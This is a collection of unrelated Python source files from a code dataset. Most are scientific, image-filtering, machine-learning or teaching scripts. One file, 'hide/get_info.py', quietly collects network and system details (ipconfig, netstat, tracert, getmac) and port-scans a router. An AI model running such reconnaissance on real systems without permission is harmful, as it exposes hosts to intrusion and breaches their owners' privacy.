point\n # where resources rises again. Unfortunately, we need to check\n # each points, as there can be multiple spells of falling endogenous\n # grids, so we cannot use bisection or some other fast algorithm.\n k = i\n while x[k+1] < x[k]:\n k = k + 1\n # k now holds either the next index the starts a new rising\n # region, or it holds the length of M, `m_len`.\n\n rise = np.append(rise, k)\n\n # Set the index to the point where resources again is rising\n i = k\n\n i = i + 1\n\n fall = np.append(fall, len(v)-1)\n\n return rise, fall\n# think! nanargmax makes everythign super ugly because numpy changed the wraning\n# in all nan slices to a valueerror...it's nans, aaarghgghg\ndef calcMultilineEnvelope(M, C, V_T, commonM):\n \"\"\"\n Do the envelope step of the DCEGM algorithm. Takes in market ressources,\n consumption levels, and inverse values from the EGM step. These represent\n (m, c) pairs that solve the necessary first order conditions. This function\n calculates the optimal (m, c, v_t) pairs on the commonM grid.\n\n Parameters\n ----------\n M : np.array\n market ressources from EGM step\n C : np.array\n consumption from EGM step\n V_T : np.array\n transformed values at the EGM grid\n commonM : np.array\n common grid to do upper envelope calculations on\n\n Returns\n -------\n\n\n \"\"\"\n m_len = len(commonM)\n rise, fall = dcegmSegments(M, V_T)\n\n # Add the last point to the vector for convenience below\n num_kinks = len(fall) # number of kinks / falling EGM grids\n\n # Use these segments to sequentially find upper envelopes. commonVARNAME\n # means the VARNAME evaluated on the common grid with a cloumn for each kink\n # discovered in dcegmSegments. This means that commonVARNAME is a matrix\n # common grid length-by-number of segments to consider. In the end, we'll\n # use nanargmax over the columns to pick out the best (transformed) values.\n # This is why we fill the arrays with np.nan's.\n commonV_T = np.empty((m_len, num_kinks))\n commonV_T[:] = np.nan\n commonC = np.empty((m_len, num_kinks))\n commonC[:] = np.nan\n\n # Now, loop over all segments as defined by the \"kinks\" or the combination\n # of \"rise\" and \"fall\" indices. These (rise[j], fall[j]) pairs define regions\n for j in range(num_kinks):\n # Find points in the common grid that are in the range of the points in\n # the interval defined by (rise[j], fall[j]).\n below = M[rise[j]] >= commonM # boolean array of bad indices below\n above = M[fall[j]] <= commonM # boolen array of bad indices above\n in_range = below + above == 0 # pick out elements that are neither\n\n # create range of indices in the input arrays\n idxs = range(rise[j], fall[j]+1)\n # grab ressource values at the relevant indices\n m_idx_j = M[idxs]\n\n # based in in_range, find the relevant ressource values to interpolate\n m_eval = commonM[in_range]\n\n # re-interpolate to common grid\n commonV_T[in_range,j] = LinearInterp(m_idx_j, V_T[idxs], lower_extrap=True)(m_eval)\n commonC[in_range,j] = LinearInterp(m_idx_j, C[idxs], lower_extrap=True)(m_eval) # Interpolat econsumption also. May not be nesserary\n # for each row in the commonV_T matrix, see if all entries are np.nan. This\n # would mean that we have no valid value here, so we want to use this boolean\n # vector to filter out irrelevant entries of commonV_T.\n row_all_nan = np.array([np.all(np.isnan(row)) for row in commonV_T])\n # Now take the max of all these line segments.\n idx_max = np.zeros(commonM.size, dtype = int)\n idx_max[row_all_nan == False] = np.nanargmax(commonV_T[row_all_nan == False], axis=1)\n\n # prefix with upper for variable that are \"upper enveloped\"\n upperV_T = np.zeros(m_len)\n\n # Set the non-nan rows to the maximum over columns\n upperV_T[row_all_nan == False] = np.nanmax(commonV_T[row_all_nan == False, :], axis=1)\n # Set the rest to nan\n upperV_T[row_all_nan] = np.nan\n\n # Add the zero point in the bottom\n if np.isnan(upperV_T[0]):\n # in transformed space space, utility of zero-consumption (-inf) is 0.0\n upperV_T[0] = 0.0\n # commonM[0] is typically 0, so this is safe, but maybe it should be 0.0\n commonC[0] = commonM[0]\n\n # Extrapolate if NaNs are introduced due to the common grid\n # going outside all the sub-line segments\n IsNaN = np.isnan(upperV_T)\n upperV_T[IsNaN] = LinearInterp(commonM[IsNaN == False], upperV_T[IsNaN == False])(commonM[IsNaN])\n\n\n LastBeforeNaN = np.append(np.diff(IsNaN)>0, 0)\n LastId = LastBeforeNaN*idx_max # Find last id-number\n idx_max[IsNaN] = LastId[IsNaN]\n # Linear index used to get optimal consumption based on \"id\" from max\n ncols = commonC.shape[1]\n rowidx = np.cumsum(ncols*np.ones(len(commonM), dtype=int))-ncols\n idx_linear = np.unravel_index(rowidx+idx_max, commonC.shape)\n upperC = commonC[idx_linear]\n upperC[IsNaN] = LinearInterp(commonM[IsNaN==0], upperC[IsNaN==0])(commonM[IsNaN])\n\n # TODO calculate cross points of line segments to get the true vertical drops\n\n upperM = commonM.copy() # anticipate this TODO\n\n return upperM, upperC, upperV_T\n\n# -\n\nm_common = np.linspace(0,1.0,100)\nm_egm = np.array([0.0, 0.04, 0.25, 0.15, 0.1, 0.3, 0.6,0.5, 0.35, 0.6, 0.75,0.85])\nc_egm = np.array([0.0, 0.03, 0.1, 0.07, 0.05, 0.36, 0.4, 0.6, 0.8, 0.9,0.9,0.9])\nvt_egm = np.array( [0.0, 0.05, 0.1,0.04, 0.02,0.2, 0.7, 0.5, 0.2, 0.9, 1.0, 1.2])\n\nplt.plot(m_egm, vt_egm)\nplt.xlabel(\"resources\")\nplt.ylabel(\"transformed values\")\n\nplt.plot(m_egm, c_egm)\nplt.xlabel(\"resources\")\nplt.ylabel(\"consumption\")\n\n# The point of DCEGM is to realize, that the segments on the `(m, vt)` curve that are decreasing, cannot be optimal. This leaves us with a set of increasing line segments, as seen below (`dcegmSegments` is the function in HARK that calculates the breaks where the curve goes from increasing to decreasing).\n\nrise, fall = dcegmSegments(m_egm, vt_egm)\n\n# In `rise` we have all the starting indices for the segments that are \"good\", that is `(m, vt)` draws an increasing curve.\n\nrise\n\n# We see that `rise` has its first index at `0`, then again at `4`, and lastly at `8`. Let's look at `fall`.\n\nfall\n\n# We see that the last segment is increasing (as the last element of `rise` is larger than the last element of `fall`), and we see that `len(fall)` is one larger than number of problematic segments in the plot. The index of the last point in `m_egm`/`c_egm`/`vt_egm` is added for convenience when we do the upper envelope step (and is also convenient below for drawing the segments!).\n#\n# We can use `fall` and `rise` to draw only the relevant segments that we will use to construct an upper envelope.\n\nfor j in range(len(fall)):\n idx = range(rise[j],fall[j]+1)\n plt.plot(m_egm[idx], vt_egm[idx])\nplt.xlabel(\"resources\")\nplt.ylabel(\"transformed values\")\n\n# Let us now use the `calcMultilineEnvelope` function to do the full DCEGM step: find segments and calculate upper envelope in one sweep.\n\nm_upper, c_upper, v_upper = calcMultilineEnvelope(m_egm, c_egm, vt_egm, m_common)\n\nfor j in range(len(fall)):\n idx = range(rise[j],fall[j]+1)\n plt.plot(m_egm[idx], vt_egm[idx])\nplt.plot(m_upper, v_upper, 'k')\nplt.xlabel(\"resources\")\nplt.ylabel(\"transformed values\")\n\n# And there we have it! These functions are the building blocks for univariate discrete choice modeling in HARK, so hopefully this little demo helped better understand what goes on under the hood, or it was a help if you're extending some existing class with a discrete choice.\n\n# # References\n# [1] Iskhakov, F. , Jørgensen, T. H., Rust, J. and Schjerning, B. (2017), The endogenous grid method for discrete‐continuous dynamic choice models with (or without) taste shocks. Quantitative Economics, 8: 317-365. doi:10.3982/QE643\n#\n# [2] Carroll, C. D. (2006). The method of endogenous gridpoints for solving dynamic stochastic optimization problems. Economics letters, 91(3), 312-320.\n#\n#\n","sub_path":"notebooks/DCEGM-Upper-Envelope.py","file_name":"DCEGM-Upper-Envelope.py","file_ext":"py","file_size_in_byte":13989,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"375460500","text":"from scipy.optimize import curve_fit\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport sys, os\n\nfrom scipy.io.idl import readsav\n\n\ndata = readsav('../data/makelines.sav')\n\n## Create a line ##\n #\n # params list x x-data\n # params list y y-data\n # params string label Label of line\n # params dict prop Properties of line\n # return dict ret All infor of line\n #\n # version 07/2016 \n # author Nguyen Van Hiep ##\ndef cal_bg(vlsr, stock):\n\ts = 0.\n\tcount = 0\n\tfor i in range(0,2048):\n\t\tif (((vlsr[i] > -35.) and (vlsr[i] < -20.)) or ((vlsr[i] > 20.) and (vlsr[i] < 35.))):\n\t\t\ts = s+stock[i]\n\t\t\tcount = count + 1\n\n\treturn s/count\n\n## Create a line ##\n #\n # params list x x-data\n # params list y y-data\n # params string label Label of line\n # params dict prop Properties of line\n # return dict ret All infor of line\n #\n # version 07/2016 \n # author Nguyen Van Hiep ##\ndef correct_ctrl_chnl(tb):\n\tfor i in range(0,101):\n\t\ttb[i][1023] = (tb[i][1021] + tb[i][1022] + tb[i][1024] + tb[i][1025])/4.\n\n\treturn tb\n\n## Get the index of a given velocity ##\n #\n # params list v_axis Velocity axis\n # params float vel Value of velocity\n #\n # return int idx Index of Velocity in the Vel_list\n #\n # version 08/2016 \n # author Nguyen Van Hiep ##\ndef get_vel_index(v_axis, vel):\n idx = (np.abs(np.array(v_axis)-vel)).argmin()\n return idx\n\n## Create multiple Gaussian functions ##\n #\n # params list x x axis\n # params list params Parameters\n #\n # return array y Multiple-Gaussian functions\n #\n # version 08/2016 \n # author Nguyen Van Hiep ##\ndef func(x, *params):\n y = np.zeros_like(x)\n for i in range(0, len(params), 3):\n amp = params[i] \t\n ctr = params[i+1]\n wid = params[i+2]\n y = y - amp * np.exp( -((x - ctr)/wid)**2)\n return 1.-y\n\n\n#==============\nsrc_list = list(data.la.srcname)\n\nfor n in range(0,101) :\n\n\tsname = src_list[n]\n\t\n\tsrc = data.la.srcname\n\tra50 = data.la.ra1950\n\tdec50 = data.la.dec1950\n\tell = data.la.ell\n\tbee = data.la.bee\n\n\thi_f0 = data.la.cfr_bd0\n\toh_f1 = data.la.cfr_bd1\n\toh_f2 = data.la.cfr_bd2\n\n\tvlsr0 = data.la.vlsr_bd0\n\tvlsr1 = data.la.vlsr_bd1\n\tvlsr2 = data.la.vlsr_bd2\n\n\tem_avg0 = data.la.i_em_avg_bd0\n\tem_med0 = data.la.i_em_med_bd0\n\tab_avg0 = data.la.i_abs_avg_bd0\n\tab_med0 = data.la.i_abs_med_bd0\n\n\tem_avg1 = data.la.i_em_avg_bd1\n\tem_med1 = data.la.i_em_med_bd1\n\tab_avg1 = data.la.i_abs_avg_bd1\n\tab_med1 = data.la.i_abs_med_bd1\n\n\tem_avg2 = data.la.i_em_avg_bd2\n\tem_med2 = data.la.i_em_med_bd2\n\tab_avg2 = data.la.i_abs_avg_bd2\n\tab_med2 = data.la.i_abs_med_bd2\n\n\tem_avg2 = correct_ctrl_chnl(em_avg2)\n\tem_med2 = correct_ctrl_chnl(em_med2)\n\tab_avg2 = correct_ctrl_chnl(ab_avg2)\n\tab_med2 = correct_ctrl_chnl(ab_med2)\n\n\t# VLSR #\n\tx = vlsr2[n]\n\n\t# On-/Off source Tb and Background Continuum #\n\tt_on = 0.5*ab_avg2[n]\n\tt_off = 0.5*em_avg2[n]\n\tbg_on = cal_bg(x,t_on)\n\tbg_off = cal_bg(x,t_off)\n\n\t# e(-tau) and tau #\n\tetau = t_on/bg_on\n\ttau = -np.log(etau)\n\n\n\t# plt.plot(velo, 2000.*tau)\n\tplt.plot(x, etau , 'r-')\n\tplt.title(sname+' '+str(oh_f2[n]))\n\t# plt.xlim(xmin,xmax)\n\t# plt.ylim(0.,200.)\n\tplt.show()","sub_path":"oh/ref/find_vrange.py","file_name":"find_vrange.py","file_ext":"py","file_size_in_byte":3077,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"612131856","text":"import datetime\nimport os\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\nPATH=os.getcwd()\n\n\ndef pic_dis(data1,data2,file_name=\"\",folder_name=\"\",axis=0):\n if axis:\n for col_name in list(data1):\n data1[col_name].plot(label=\"all\")\n data2[col_name].plot(label=\"up\", title=col_name, grid=True)\n if not file_name:\n file_name=col_name\n plt.savefig(str(datetime.datetime.today())[:10]+file_name + '.png')\n plt.show()\n\n\n\n # if file_name:\n # if folder_name:\n # dir_new = os.path.join(PATH, folder_name)\n # if os.path.isdir(PATH):\n # path = os.mkdir(dir_new)\n # plt.savefig(path+str(datetime.datetime.today())[:10]+file_name+\".png\")\n # plt.show()\n else:\n print(range(len(data1)))\n for row in range(len(data1)):\n data1.iloc[row].plot(label=\"all\")\n data2.iloc[row].plot(label=\"up\", title=data2.iat[row, 0], grid=True)\n plt.savefig(os.getcwd() + \"\\\\pic\\\\\" + str(datetime.datetime.today())[:10] + \"range_pct.png\")\n plt.show()\n\n\nimport numpy as np\n\ndf1=pd.DataFrame(np.random.randint(0,10,(5,2)),columns=list(\"ab\"))\ndf2=pd.DataFrame(np.random.randint(0,10,(5,2)),columns=list(\"ab\"))\npic_dis(df1,df2,file_name=\"aaa\",axis=1)\n\n\n\n\n","sub_path":"basic/pic.py","file_name":"pic.py","file_ext":"py","file_size_in_byte":1367,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"67770242","text":"from flask import Flask\nimport json\nimport os\nfrom flask_cors import CORS\n\napp = Flask(__name__,static_folder='./')\nCORS(app)\n\nHOST='192.168.1.125'\n\n@app.route(\"/\")\ndef hello():\n return \"

Backend for Dressing room

GET ALL MODEL PART: /get_init_style
GET ALL SHOPS ITEM PART: /get_shop_data
GET ALL BUTTONS: /get_button_array\"\n\n@app.route(\"/get_init_style\")\ndef getInitStyle():\n filename = os.path.join(app.static_folder, 'initStyle.json')\n with open(filename) as styles:\n data = json.load(styles)\n return data\n\n@app.route(\"/get_shop_data\")\ndef getShopData():\n filename = os.path.join(app.static_folder, 'shopData.json')\n with open(filename) as styles:\n data = json.load(styles)\n return data\n\n@app.route(\"/get_button_array\")\ndef getButtonArray():\n filename = os.path.join(app.static_folder, 'buttonArray.json')\n with open(filename) as styles:\n data = json.load(styles)\n return data\n\nif __name__ == '__main__':\n app.run(host= '202.182.112.252', port=80, debug=False)\n","sub_path":"server/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1125,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"286241329","text":"# load and display an image with Matplotlib\nimport statistics\nfrom matplotlib import image\nfrom matplotlib import pyplot as plt\nimport numpy as np\nfrom PIL import Image\nimport os\n\n\nclass ShenCastanFlat:\n path = ''\n input_image = ''\n radius_param = 64\n flat_param = 4\n alpha_param = 0.25\n\n kernel_smooth = ''\n convolve_smooth = ''\n\n kernel_der = ''\n convolve_der_x = ''\n convolve_der_y = ''\n convolve_der_xy = ''\n convolve_der_xy_amplitude = ''\n convolve_der_xy_orientation = ''\n\n def __init__(self, path):\n \"\"\"\n initiates a new Shen Castan filtering objects\n\n Parameters:\n img (2D numpy array): the image to filter\n \"\"\"\n self.path = path\n # load image as pixel array\n self.input_image = image.imread(path)\n self.input_image = np.dot(self.input_image[..., :3], [0.299, 0.587, 0.114]) # Convert RGB to Grays\n\n def filter(self, filter_radius=64, flat_radius = 5, alpha=0.25):\n \"\"\"\n Performs the Shen Castan filtering based on the two input parameters\n Smoothing: h(x)=c.e(-alpha*|x|) with c=(1-e(-alpha))/(1+e(-alpha)\n Derivative: h'(x)=d.e(-alpha*|x|) if x>=0, h'(x)=-d.e(-alpha*|x|) otherwise, with d=1-e(-alpha)\n\n Parameters:\n filter_radius (float): radius of the filtering window, the kernel will have a length of filter_radius*2+1\n alpha (float): the strength of the smoothing (low value=higher smoothing)\n\n Return:\n the filtered image (amplitude image), as a numpy array\n \"\"\"\n self.radius_param = filter_radius\n self.flat_param = flat_radius\n self.alpha_param = alpha\n\n # Formulas from http://devernay.free.fr/cours/vision/pdf/c3.pdf\n # ------------------------ SMOOTHING ------------------------\n self.kernel_smooth = np.zeros((filter_radius * 2 + 1))\n c = (1 - np.exp(-alpha)) / (1 + np.exp(-alpha))\n kernel_fct = (lambda c_param, alpha_param, x_param: c_param * np.exp(-alpha_param * np.fabs(x_param)))\n for x in range(-filter_radius, filter_radius + 1, 1):\n self.kernel_smooth[x + filter_radius] = kernel_fct(c, alpha, x)\n\n # Squares the center while keeping the normalisation\n self.kernel_smooth[filter_radius-flat_radius:filter_radius+flat_radius]=statistics.mean(self.kernel_smooth[filter_radius-flat_radius:filter_radius+flat_radius])\n\n self.convolve_smooth = self.convolve_2d(self.input_image, self.kernel_smooth, 'xy')\n\n # ------------------------ DERIVATIVE ------------------------\n self.kernel_der = np.zeros((filter_radius * 2 + 1))\n d = 1 - np.exp(-alpha)\n kernel_fct = (lambda d_param, alpha_param, x_param: d_param * np.exp(\n -alpha_param * np.fabs(x_param)) if x_param >= 0 else -d_param * np.exp(-alpha_param * np.fabs(x_param)))\n for x in range(-filter_radius, filter_radius + 1, 1):\n self.kernel_der[x + filter_radius] = kernel_fct(d, alpha, x)\n if -flat_radius <= x < 0:\n self.kernel_der[x + filter_radius] = -d\n if flat_radius >= x > 0:\n self.kernel_der[x + filter_radius] = d\n\n self.convolve_der_x = self.convolve_2d(self.convolve_smooth, self.kernel_der, 'x')\n self.convolve_der_y = self.convolve_2d(self.convolve_smooth, self.kernel_der, 'y')\n\n self.convolve_der_xy_amplitude = np.sqrt(np.square(self.convolve_der_x) + np.square(self.convolve_der_y))\n\n self.convolve_der_xy_orientation = np.arctan2(self.convolve_der_y, self.convolve_der_x)\n\n return self.convolve_der_xy_amplitude\n\n def show_process(self, save_path = ''):\n \"\"\"\n Generates and displays an output figure with the original, smoothed, derivative x, y, xy images, and plots for \n both the smoothing and derivating kernels \n \n Parameters:\n save_path (string): the output path\n \"\"\"\n tag_alpha = str(np.floor(self.alpha_param*100)/100)\n\n fig = plt.figure(figsize=(8.25, 11.75))\n\n ax1 = fig.add_subplot(4, 2, 1)\n ax1.title.set_text('Original image')\n ax1.axis('off')\n ax1.imshow(self.input_image)\n\n ax2 = fig.add_subplot(4, 2, 2)\n ax2.title.set_text('Smooth\\na=' + tag_alpha + \"\\nrad_flat=\" + str(self.flat_param) + \"\\nrad=\" + str(self.radius_param))\n ax2.axis('off')\n ax2.imshow(self.convolve_smooth)\n\n ax3 = fig.add_subplot(4, 2, 3)\n ax3.title.set_text('Derivative X')\n ax3.axis('off')\n ax3.imshow(self.convolve_der_x)\n\n ax4 = fig.add_subplot(4, 2, 4)\n ax4.title.set_text('Derivative Y')\n ax4.axis('off')\n ax4.imshow(self.convolve_der_y)\n\n ax5 = fig.add_subplot(4, 2, 5)\n ax5.title.set_text('Derivative XY\\nAmplitude')\n ax5.axis('off')\n ax5.imshow(self.convolve_der_xy_amplitude)\n\n ax5 = fig.add_subplot(4, 2, 6)\n ax5.title.set_text('Derivative XY\\nOrientation')\n ax5.axis('off')\n ax5.imshow(self.convolve_der_xy_orientation)\n\n ax7 = fig.add_subplot(4, 2, 7)\n ax7.title.set_text('Kernel smoothing')\n ax7.plot(range(-self.radius_param, self.radius_param + 1, 1), self.kernel_smooth)\n\n ax8 = fig.add_subplot(4, 2, 8)\n ax8.title.set_text('Kernel derivative')\n ax8.plot(range(-self.radius_param, self.radius_param + 1, 1), self.kernel_der)\n\n plt.show()\n\n if not os.path.exists(save_path):\n os.mkdir(save_path)\n\n im = Image.fromarray(self.convolve_der_xy_amplitude)\n im.save(save_path+'Amplitude_export_a=' + tag_alpha + '_rad=' + str(self.radius_param) + '_flat=' + str(self.flat_param) + '.tif')\n im = Image.fromarray(self.convolve_der_xy_orientation)\n im.save(save_path + 'Orientation_export_a=' + tag_alpha + '_rad=' + str(self.radius_param) + '_flat=' + str(self.flat_param) + '.tif')\n im = Image.fromarray(self.convolve_der_x)\n im.save(save_path + 'Derivative_x_export_a=' + tag_alpha + '_rad=' + str(self.radius_param) + '_flat=' + str(\n self.flat_param) + '.tif')\n im = Image.fromarray(self.convolve_der_y)\n im.save(save_path + 'Derivative_y_export_a=' + tag_alpha + '_rad=' + str(self.radius_param) + '_flat=' + str(\n self.flat_param) + '.tif')\n\n def convolve_2d(self, img, kernel, dir='xy'):\n \"\"\"\n Performs a 2D convolution based on an input 2D numpy matrix and a 1D kernel\n\n Parameters:\n img (2D numpy array): the image to convolve\n kernel (array): the kernel\n dir (string): the direction(s) of convolution (might be x, y or xy)\n\n Return:\n the convolved image, as a numpy array\n \"\"\"\n\n convolved = ''\n convolved_x = []\n\n # Convolve along x axis\n if dir.find('x') != -1:\n for i in range(0, img.shape[0], 1):\n convolved_x.append(np.convolve(img[i, :], kernel, mode='same'))\n\n convolved = np.array(convolved_x)\n\n # Convolve along y axis\n if dir.find('y') != -1:\n convolved_y = []\n # Initialize convolved in cas only y convolution has been called\n if dir.find('x') == -1:\n convolved = img.copy()\n\n convolved = np.transpose(convolved)\n\n for i in range(0, convolved.shape[0], 1):\n convolved_y.append(np.convolve(convolved[i, :], kernel, mode='same'))\n\n convolved = np.array(convolved_y)\n convolved = np.transpose(convolved)\n\n return convolved\n","sub_path":"Shen-Castan/ShenCastanFlat.py","file_name":"ShenCastanFlat.py","file_ext":"py","file_size_in_byte":7623,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"270704329","text":"import platform, os, sys, socket\r\n\r\n# sys ver\r\n\r\ndef CMD():\r\n os.system(\"ping google.com > \" + os.getcwd() + \"\\\\files\\\\ping.txt\")\r\n os.system(\"ipconfig /all > \" + os.getcwd() + \"\\\\files\\\\ipconfig.txt\")\r\n os.system(\"netstat > \" + os.getcwd() + \"\\\\files\\\\netstat.txt\")\r\n os.system(\"route PRINT > \" + os.getcwd() + \"\\\\files\\\\tracet.txt\")\r\n os.system(\"tracert -h 20 google.com > \" + os.getcwd() + \"\\\\files\\\\tracet.txt\")\r\n os.system(\"getmac > \" + os.getcwd() + \"\\\\files\\\\getmac.txt\")\r\n\r\ndef ports():\r\n socket.setdefaulttimeout(0.02)\r\n ports = []\r\n router = \"192.168.1.254\"\r\n\r\n for i in range(5000):\r\n sock = socket.socket()\r\n if sock.connect_ex((router,i)) == 0:\r\n ports.append(\"port %s:%d is open!\" % (router, i))\r\n\r\n# write\r\nf = open(\"data.txt\",\"w\")\r\nf.write(\"--- SYSTEM ---\")\r\nf.write(\"system: \" + platform.system())\r\nf.write(\"node: \" + platform.node())\r\nf.write(\"release: \" + platform.release())\r\nf.write(\"version: \" + platform.version())\r\nf.write(\"processor: \" + platform.processor())\r\nf.write(\"platform: \" + platform.platform())\r\nf.write(\"\")\r\nf.write(\"--- PYTHON ---\")\r\nf.write(\"python branch: \" + platform.python_branch())\r\nf.write(\"python build: \" + platform.python_build())\r\nf.write(\"python compiler: \" + platform.python_compiler())\r\nf.write(\"python implementation: \" + platform.python_implementation())\r\nf.write(\"python revision: \" + platform.python_revision())\r\nf.write(\"python version: \" + platform.python_version())\r\nf.write(\"\")\r\nf.write(\"linux distribution: \" + platform.linux_distribution())\r\nf.write(\"mac ver: \" + platform.mac_ver())\r\nf.write(\"win32 version: \" + platform.win32_ver())\r\nf.write(\"NO. CPU cores: \" + os.cpu_count())\r\n\r\nmajor, minor, build, platform, SP = sys.getwindowsversion()\r\n\r\n","sub_path":"Python/Programming/hide/get_info.py","file_name":"get_info.py","file_ext":"py","file_size_in_byte":1762,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"576753676","text":"# 实现了多项式朴素贝叶斯,精度和sklearn接近\n# 2018.08.07\nimport numpy as np\nimport matplotlib.pyplot as plot\nimport matplotlib as mpl\nimport sklearn.model_selection\nimport sklearn.datasets\nfrom sklearn import tree\nimport time\nfrom abc import ABCMeta, abstractmethod\nfrom functools import reduce\nfrom sklearn.naive_bayes import MultinomialNB\nclass NB():\n def __init__(self):\n self.pro_table = None\n\n @abstractmethod\n def fit(self,X,Y):\n pass\n\n def predict(self,X):\n predicts = []\n predict_num = X.shape[0]\n feature_num = X.shape[1]\n for i in range(predict_num):\n probas = []\n for y in range(self.pro_table.shape[0]):\n probas.append(reduce(lambda x,y:x*y,[self.pro_table[y,j,X[i,j]] for j in range(feature_num)]))\n predicts.append(np.argmax(probas))\n return predicts\nclass My_MultinomialNB(NB):\n def fit(self,X,Y,feature_max,class_num):\n feature_num = X.shape[1]\n train_num = X.shape[0]\n self.pro_table = np.zeros((class_num,feature_num + 1,feature_max))#shape1 加1用来存放P(y)\n for y in np.unique(Y):\n self.pro_table[y][feature_num][0] = (np.sum(Y == y) + 1) / (train_num + class_num)\n for feature in range(feature_num):\n self.pro_table[y,feature,:] = np.array([ (np.sum((Y == y) & (X[:,feature] == val)) + 1) / (train_num + class_num) for val in range(feature_max)])\n\n# class GaussianNB(NB):\n# def cal_pro(self):\n# return 2\n\n\nx,y = sklearn.datasets.load_digits(return_X_y=True)\nx = x.astype(np.int64)\ny = y.astype(np.int64)\n\nfeature_max = np.max([np.unique(x[:,i]).shape[0] for i in range(x.shape[1])])\nclass_num = np.unique(y).shape[0]\nx,xt,y,yt = sklearn.model_selection.train_test_split(x,y)\n\ndef show_info(clf,arr = True):\n predicts = []\n for i in range(xt.shape[0]):\n if arr:\n proba = clf.predict(xt[i].reshape(1,-1))\n predicts.append(proba[0])\n else:\n predicts.append(clf.predict(xt[i]))\n #print('is {} predict {}'.format(yt[i], predicts[i]))\n total = yt.shape[0]\n corrects = np.sum(predicts == yt)\n print('total = {} correct = {} accuracy = {}'.format(total, corrects, corrects / total))\n\nmultionmial_nb = My_MultinomialNB()\nmultionmial_nb.fit(x,y,feature_max,class_num)\nshow_info(multionmial_nb)\n\nclf = MultinomialNB()\nclf.fit(x,y)\nshow_info(clf)\n\n\n","sub_path":"bayes.py","file_name":"bayes.py","file_ext":"py","file_size_in_byte":2447,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"131167017","text":"# Drawing snail\r\n\r\n\r\nfrom turtle import * # import the turtle module \r\nfrom math import degrees, pi, acos, sqrt # import math module\r\n\r\n\r\ndef snail(n):\r\n ''' Drawing a shape like snail '''\r\n for i in range(n): # for loop\r\n forward(50)\r\n if i == 0: # Draw first triangle\r\n left(90)\r\n forward(50)\r\n angle_r = pi + acos(1 / sqrt(i + 2)) # Declare how much to turn right in radians\r\n angle_d = degrees(angle_r) # Convert radinas to degrees with math.degrees\r\n right(angle_d)\r\n forward(50 * sqrt(i + 2)) # Draw third_gon of the triangle \r\n penup()\r\n backward(50 * sqrt(i + 2))\r\n pendown()\r\n right(90)\r\n\r\n \r\nn = int(input()) # get the number of triangles\r\n\r\nspeed(10)\r\nsnail(n) # print the snail\r\nmainloop()\r\n \r\n","sub_path":"snail.py","file_name":"snail.py","file_ext":"py","file_size_in_byte":859,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"304075761","text":"from pxl_actor.actor import Actor\n\n\nclass Rectangle(Actor):\n\n def __init__(self):\n super(Rectangle, self).__init__()\n\n self.x1 = 0.\n self.y1 = 0.\n self.x2 = 1.\n self.y2 = 1.\n\n def set_end(self, x: float, y: float):\n \"\"\"\n Sets x2, y2 coordinates of a rectangle while keeping x1, y1 constant.\n \"\"\"\n self.x2 = x\n self.y2 = y\n\n def set_start(self, x: float, y: float):\n \"\"\"\n Sets both coordinates of a rectangle to the same point\n \"\"\"\n self.x1 = self.x2 = x\n self.y1 = self.y2 = y\n\n def get(self):\n \"\"\"\n Returns rectangle coordinates as tuple (x1, y1, x2, y2), where\n (x1, y1) is the top left corner and (x2, y2) is the bottom right\n corner.\n \"\"\"\n x_left = min(self.x1, self.x2)\n x_right = max(self.x1, self.x2)\n y_left = min(self.y1, self.y2)\n y_right = max(self.y1, self.y2)\n\n return x_left, y_left, x_right, y_right\n","sub_path":"pxl_camera/util/rectangle.py","file_name":"rectangle.py","file_ext":"py","file_size_in_byte":1022,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"296056828","text":"##### Phys 6041 Project - University of Cincinnati: Fits for Dark Matter Direct Detection\n##### Constants\n\n##### import necessary modules\nimport numpy as np\n\n\nv0 = np.float64(236.0*10**3/(3*10**8)) ## MB - c\nmx = np.array([10,50,100,500,1000]) ## mass of DM - GeV\nnx = 2.3059*10**-42/mx ## local DM number density - GeV^3\n\n####Standard constants dictionary\nstand_const = {'Maxwell-Boltzmann velocity - v0': v0}\nstand_const_arrays = {'DM mass - mx': mx, 'DM number density - nx': nx}\n\n\n\n### xenon100 isotopes\n## number of nucleons \nxe_nn = np.array([128,129,130,131,132,134,136]) \n## natural isotope abundances \nxe_ni = np.array([0.0191,0.26401,0.04071,0.21232,\n 0.26909,0.10436,0.08857])\n\n\n## mass of nuclei: mT_i=0.938GeV*nn_i\nxe_mT = xe_nn*0.938 \n\n\n## reduced nuclei-DM mass: uT_i=mT_i*mx_i/(mT_i+mx_i)\nxe_uT = []\nfor i in range(0,len(mx)):\n xe_uT += [mx[i]*xe_mT/(mx[i]+xe_mT)]\nxe_uT = np.asarray(xe_uT) \n\n\n## number of target particles:\n## nT_i=34kg*(3*10^8m/s)^2/1.6*10^-10C/(mT_i*ni_i)\nxe_nT = 34 * (3*10**8)**2 / (1.60217662*10**-10) / xe_mT * xe_ni \n\n## xenon dictionary\nxe_const_arrays = {'nucleons - xe_nn': xe_nn, 'isotope abundance - xe_ni': xe_ni, 'mass - xe_mT': xe_mT, 'reduced mass - xe_uT': xe_uT, 'targets - xe_nT': xe_nT}\n\n\n\n## detector response table \nxe_data = np.loadtxt(\"xenon100_detector_table.dat\")\n## energies\nxe_En = 10**-6*xe_data[:,0] \n## efficiencies\nxe_Gi = xe_data[:,1:] \n\n## exposure time: t=live_days*secs/days/(GeV*secs) \nxe_t = np.float64(224.6*24*3600/(6.58*10**-25))\n \n\n##### define data to be compared w/ prediction\n## number of observed events\nxe_nobs = np.array([20,17,11,1,1,0,0,0,0]) \n## number of background events \nxe_nback = np.array([24,16,12,1.1,1.0*10**-1,0.8*10**-1,\n 0.9,3.5*10**-1,1.8*10**-1]) \n## error in observed events 